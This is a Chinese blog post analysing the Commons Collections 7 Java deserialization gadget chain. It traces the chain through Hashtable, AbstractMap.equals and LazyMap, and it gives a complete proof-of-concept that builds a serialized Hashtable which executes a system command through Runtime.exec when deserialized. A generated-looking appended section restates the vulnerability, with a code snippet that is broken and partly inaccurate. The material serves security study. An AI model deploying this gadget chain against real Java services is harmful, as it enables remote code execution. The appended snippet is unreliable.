[Java反序列化]—CommonsCollections7(CC完结篇)

本文详细解析了Java中的CC7漏洞,重点在于Hashtable的deserialization过程中,通过构造特定的LazyMap实例引发equals方法链,展示了如何利用equals方法实现绕过逻辑。作者逐步跟踪了equals方法调用过程,涉及数据结构、反射和Transformer的使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

CC7又跟CC5差不多,也是换了另一种方式来调用get()

    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec

流程

还是现根据链子先看下流程吧。

Hashtable中重写了readObject(),最后会调用reconstitutionPut()

private void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException
{
    // Read in the length, threshold, and loadfactor
    s.defaultReadObject();

    // Read the original length of the array and number of elements
    int origlength = s.readInt();
    int elements = s.readInt();

    // Compute new size with a bit of room 5% to grow but
    // no larger than the original size.  Make the length
    // odd if it's large enough, this helps distribute the entries.
    // Guard against the length ending up zero, that's not valid.
    int length = (int)(elements * loadFactor) + (elements / 20) + 3;
    if (length > elements && (length & 1) == 0)
        length--;
    if (origlength > 0 && length > origlength)
        length = origlength;
    table = new Entry<?,?>[length];
    threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    count = 0;

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
            K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
            V value = (V)s.readObject();
        // synch could be eliminated for performance
        reconstitutionPut(table, key, value);
    }
}

reconstitutionPut()中,调用了equls方法—e.key.equals(key)

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
        Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

所以就要看下哪里的equls()有问题,找到了AbstractMapDecorator

public boolean equals(Object object) {
    if (object == this) {
        return true;
    }
    return map.equals(object);
}

最后还会retrun map.equals(object);,所以就要找下个equls(),在AbstractMap()中找到了equls()

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }

最后调用了get方法,所以如果构造m为LazyMap对象,就可以成功向下执行

 if (!value.equals(m.get(key)))

分析

在网上找了一些分析笔记但感觉分析的都不是很详细,而且这里涉及很多数据结构的内容,所以我这里也是尽可能的详细分析一下

首先在执行readObject后,会在1173行对elements赋值,赋值后值为2,那么就代表在底下的for循环中可以执行两轮,也就相当于会调用两次reconstitutionPut()

image-20220602142514749

第一次执行后,会获取一个key的hash值,之后用这个hash值与tab中的hash值进行比较,而此时tab中是没有hash的,所以无法进入if,就执行了1228行的tab[index] = new Entry<>(hash, key, value, e);,将值存入tab

image-20220602143033009

接着在第二次调用reconstitutionPut(),在进入if判断,而此时必须此次的hash值与上次计算的hash相等才会执行后边的euqls(),所以这个地方就需要构造一下

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {});

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

yyzZ存入lazyMap中,再讲lazyMap存入hashtable,而yyzZ的hash值相等,所以就成功进入了equls(),这里的key也是通过put操作传进来的,所以同样也是lazyMap

image-20220602143543487

调用了map的equls(),而map就是通过 LazyMap.decorate(innerMap1,chainedTransformer);获取的,这里我们传入的innerMap1是Map类型,所以就调用了Mapequls(),而后边的参数object就是之前传进来的key也就是lazyMap

进入equals后,将刚刚的object传给了o,所以o这时就是lazyMap,之后又传给了m,最终调用了m.get,就相当于lazyMap.get()

image-20220602144833070

运行后又遇到了两个老问题,第一就是在put时命令就成功执行了,所以最开始将chainedTransformer设为空,经过put方法后,在通过反射改回来

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {});
//put后
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers)

之后还是无法运行就是在调用时,if判断处已经有了key,直接执行了下边的get方法

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

所以通过remove删除掉

lazyMap2.remove("yy");

剩下的操作就不解释了。

最终POC

package CommonsCollections7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {});

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transformers);

        lazyMap2.remove("yy");

        serialize(hashtable);
        unserialize("1.txt");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

附一张师傅总结的CC链结构图
在这里插入图片描述

总结

审完这条链CC部分就算结束了,由于中间学习其他内容的耽搁,从第一篇的CC1到现在已经一个半月了。从最初的5天审了一个CC1到后来的两天一条,再一天一条,到最后慢慢的一天能审计两条,也算是对CC有了一定的熟练度,希望接下来能继续不断提升,早日走出菜鸡行列。完结,撒花~

### Java Commons Collections 反序列化利用 CVE 漏洞分析 #### 背景介绍 Java中的反序列化功能允许对象在网络传输或者存储介质之间转换成字节流并恢复回原状。然而,如果应用程序在不受信任的数据源上执行反序列化操作,则可能被恶意构造的对象所利用,进而触发任意代码执行等问题。 #### Apache Commons Collections 漏洞概述 Apache Commons Collections 是一个广泛使用的第三方库,在版本小于等于3.2.1时存在严重的反序列化漏洞[^2]。该漏洞使得攻击者能够创建特制的输入数据来操纵程序逻辑,最终实现远程代码执行的目的。 #### 关键类与调用条解析 针对`CommonsCollections`组件内的多个类可以构建出不同的gadget chain(工具),这些条通常涉及以下几种类: - **Transformers系列**:如 `ConstantTransformer`, `InvokerTransformer` 等用于定义特定行为变换器; - **TiedMapEntry**: 实现了 Map.Entry 接口,并且其getValue方法会触发之前设置好的transformer; - **LazyMap**: 当尝试获取不存在key对应的value时,它会自动计算这个值; 当上述组件按照一定顺序组合起来形成完整的调用路径之后就构成了所谓的“利用”。例如,在某些情况下可以通过精心设计的输入让 LazyMap 的 getValue 方法间接调用了 InvokerTransformer 中预设的方法名参数,从而达到控制目标进程的效果[^1]。 #### POC 构造思路 对于具体的 Proof Of Concept (POC),一般遵循如下模式: 1. 创建一系列必要的 Transformer 对象实例。 2. 使用 TiedMapEntry 将最后一个 transformer 和其他部分连接在一起。 3. 利用 HashMap 或 ArrayList 来承载整个结构体作为外部可见载体。 4. 最终将此复合型实体传递给待测系统的某个入口点完成实际攻击过程[^3]。 以下是基于以上描述的一个简单示例代码片段展示如何组装这样的payload: ```java // 定义所需的各种transfomer... Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), ... }; // 构建tied entry关联到invoker transformer的结果 Map innerMap = new HashMap(); innerMap.put(key,value); Map outerMap = LazyMap.decorate(innerMap,new ChainedTransformer(transformers)); Map.Entry tiedEntry = Maps.immutableEntry(key,tiedValue); // 准备好用来发送出去的实际负载形式 Object payload = new HashMap(); ((Map)payload).put(tiedEntry,"whatever"); ``` 请注意这只是一个简化版的概念证明演示,真实环境中还需要考虑更多细节因素才能成功实施此类攻击。 #### 影响范围及修复建议 受影响的产品和服务非常广泛,特别是那些依赖于旧版本 commons-collections 库的应用程序都可能存在风险。官方已经发布新版本解决了这个问题,因此强烈建议开发者尽快升级至最新稳定发行版以消除安全隐患[^4]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值